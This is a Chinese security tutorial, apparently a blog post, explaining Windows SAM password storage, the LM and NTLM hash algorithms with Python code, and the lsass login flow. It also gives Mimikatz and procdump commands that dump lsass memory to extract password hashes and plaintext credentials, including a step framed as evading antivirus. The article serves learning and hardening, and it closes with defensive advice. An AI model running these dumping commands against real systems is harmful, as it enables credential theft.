由Windows本地认证到Hash抓取
字数 1430 2025-08-20 18:17:41
Windows本地认证与Hash抓取技术详解
一、Windows密码存储机制
Windows系统的本地登陆密码存储在%SystemRoot%\system32\config\目录下的SAM文件中,存储的内容是密码的哈希值而非明文。当用户输入密码时,系统会先将用户输入通过特定算法加密,再与SAM文件中存储的哈希值进行比对,一致则认证成功。
Windows系统使用两种密码哈希算法:
- LM Hash(LAN Manager Hash) - 较老的算法,基本已淘汰
- NTLM Hash(NT LAN Manager Hash) - 当前主流使用的算法
二、LM Hash算法详解
算法特点
- 主要用于Windows XP/2000/2003等老系统
- 密码不区分大小写(全部转为大写)
- 最大只支持14个字符的密码
- 安全性较低,容易受到彩虹表攻击
算法步骤
- 将密码转换为大写,并转换为16进制字符串
- 密码不足28位(14字符),用0在右边补全
- 28位的密码分成两个14位部分
- 每部分分别转换成56位比特流,不足用0在左边补齐
- 两组分别再分为7位一组,每组末尾加0,组合成新字符
- 将新字符转为16进制
- 两组16进制数分别作为DES密钥,加密固定字符串"KGS!@#$%"
- 将两组DES加密结果拼接,得到最终的LM Hash
Python实现代码
import binascii
import codecs
from pyDes import *
def DesEncrypt(str, Key):
k = des(Key, ECB, pad=None)
EncryptStr = k.encrypt(str)
return binascii.b2a_hex(EncryptStr)
def ZeroPadding(str):
b = []
l = len(str)
num = 0
for n in range(l):
if (num < 8) and n % 7 == 0:
b.append(str[n:n+7] + '0')
num = num + 1
return ''.join(b)
if __name__ == "__main__":
passwd = sys.argv[1]
print('你的输入是:', passwd)
print('转化为大写:', passwd.upper())
# 转换为大写并转为16进制
passwd = codecs.encode(passwd.upper().encode(), 'hex_codec')
print('转为hex:', passwd.decode())
# 补全28位
passwd_len = len(passwd)
if passwd_len < 28:
passwd = passwd.decode().ljust(28, '0')
print('补齐28位:', passwd)
# 分成两部分
PartOne = passwd[0:14]
PartTwo = passwd[14:]
print('两组14位的部分:', PartOne, PartTwo)
# 转为56位比特流
PartOne = bin(int(PartOne, 16)).lstrip('0b').rjust(56, '0')
PartTwo = bin(int(PartTwo, 16)).lstrip('0b').rjust(56, '0')
print('两组56位比特流:', PartOne, PartTwo)
# 7位一组末尾加0
PartOne = ZeroPadding(PartOne)
PartTwo = ZeroPadding(PartTwo)
print('两组再7位一组末尾加0:', PartOne, PartTwo)
# 转为hex
PartOne = hex(int(PartOne, 2))[2:]
PartTwo = hex(int(PartTwo, 2))[2:]
if '0' == PartTwo:
PartTwo = "0000000000000000"
print('两组转为hex:', PartOne, PartTwo)
# DES加密
LMOne = DesEncrypt("KGS!@#$%", binascii.a2b_hex(PartOne)).decode()
LMTwo = DesEncrypt("KGS!@#$%", binascii.a2b_hex(PartTwo)).decode()
print('两组DES加密结果:', LMOne, LMTwo)
# 拼接得到LM Hash
LM = LMOne + LMTwo
print('LM hash:', LM)
LM Hash缺陷
- 密码不区分大小写(全部转为大写处理)
- 密码长度最大只能为14个字符
- 当密码不超过7位时,生成的LM Hash后半部分固定为
aad3b435b51404ee - 哈希没有加盐,容易受到彩虹表攻击
三、NTLM Hash算法详解
算法特点
- 当前Windows系统主流使用的算法
- 安全性高于LM Hash
- 支持更长的密码长度
- 区分大小写
算法步骤
- 将用户输入转为16进制
- 进行Unicode编码
- 调用MD4算法进行加密
Python实现代码
# coding=utf-8
import codecs
import sys
from Crypto.Hash import MD4
def UnicodeEncode(str):
b = []
l = int(len(str)/2)
for i in range(l):
b.append((str[i*2:2*i+2])+'00')
return ''.join(b)
def Md4Encode(str):
h = MD4.new()
h.update(str.decode('hex'))
return h.hexdigest()
if __name__ == '__main__':
passwd = sys.argv[1]
print('Input: ' + passwd)
# 转hex
passwd = codecs.encode(passwd.encode(), 'hex_codec').decode()
print('Hex: ' + passwd)
# 转Unicode
passwd = UnicodeEncode(passwd)
print('Unicode: ' + passwd)
# 转md4
NTLMhash = Md4Encode(passwd)
print('NTLMhash: ' + NTLMhash)
更简洁的实现方式:
import hashlib, binascii, sys
print binascii.hexlify(hashlib.new("md4", sys.argv[1].encode("utf-16le")).digest())
示例:字符串"admin"的NTLM Hash为209c6174da490caeb422f3fa5a7ae634
四、Windows本地认证流程
- 用户通过winlogon.exe输入密码
- lsass.exe进程接收密码明文,存储在内存中
- lsass.exe将密码加密为NTLM Hash
- 与SAM文件中存储的哈希值进行比对
- 相同则认证成功,不同则认证失败
流程图:
[winlogon.exe] → (User input) → [lsass.exe] → {转为NTLM hash与SAM文件对比}
↓
|相等| → (认证成功)
|不相等| → (认证失败)
五、Hash抓取技术
1. 直接使用Mimikatz读取
Mimikatz可以直接从lsass.exe进程内存中读取密码哈希和明文密码:
mimikatz.exe
privilege::debug
sekurlsa::logonPasswords full
exit
2. Procdump+Mimikatz组合技术
由于直接使用Mimikatz可能被安全软件拦截,可以采用以下方法:
- 使用Procdump工具导出lsass.exe内存转储:
procdump64.exe -accepteula -ma lsass.exe lsass.dump
- 将转储文件拉到没有杀毒软件的机器上,使用Mimikatz分析:
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
exit
六、安全建议
- 禁用LM Hash(在组策略中设置"网络安全:不要在下次更改密码时存储LAN Manager哈希值")
- 使用长且复杂的密码
- 定期更换密码
- 启用Credential Guard等安全功能
- 监控lsass.exe进程的异常访问行为
七、总结
本文详细介绍了Windows系统的两种密码哈希算法(LM Hash和NTLM Hash)及其实现原理,分析了Windows本地认证流程,并讲解了使用Mimikatz工具抓取密码哈希的技术方法。理解这些原理对于系统安全加固和渗透测试都具有重要意义。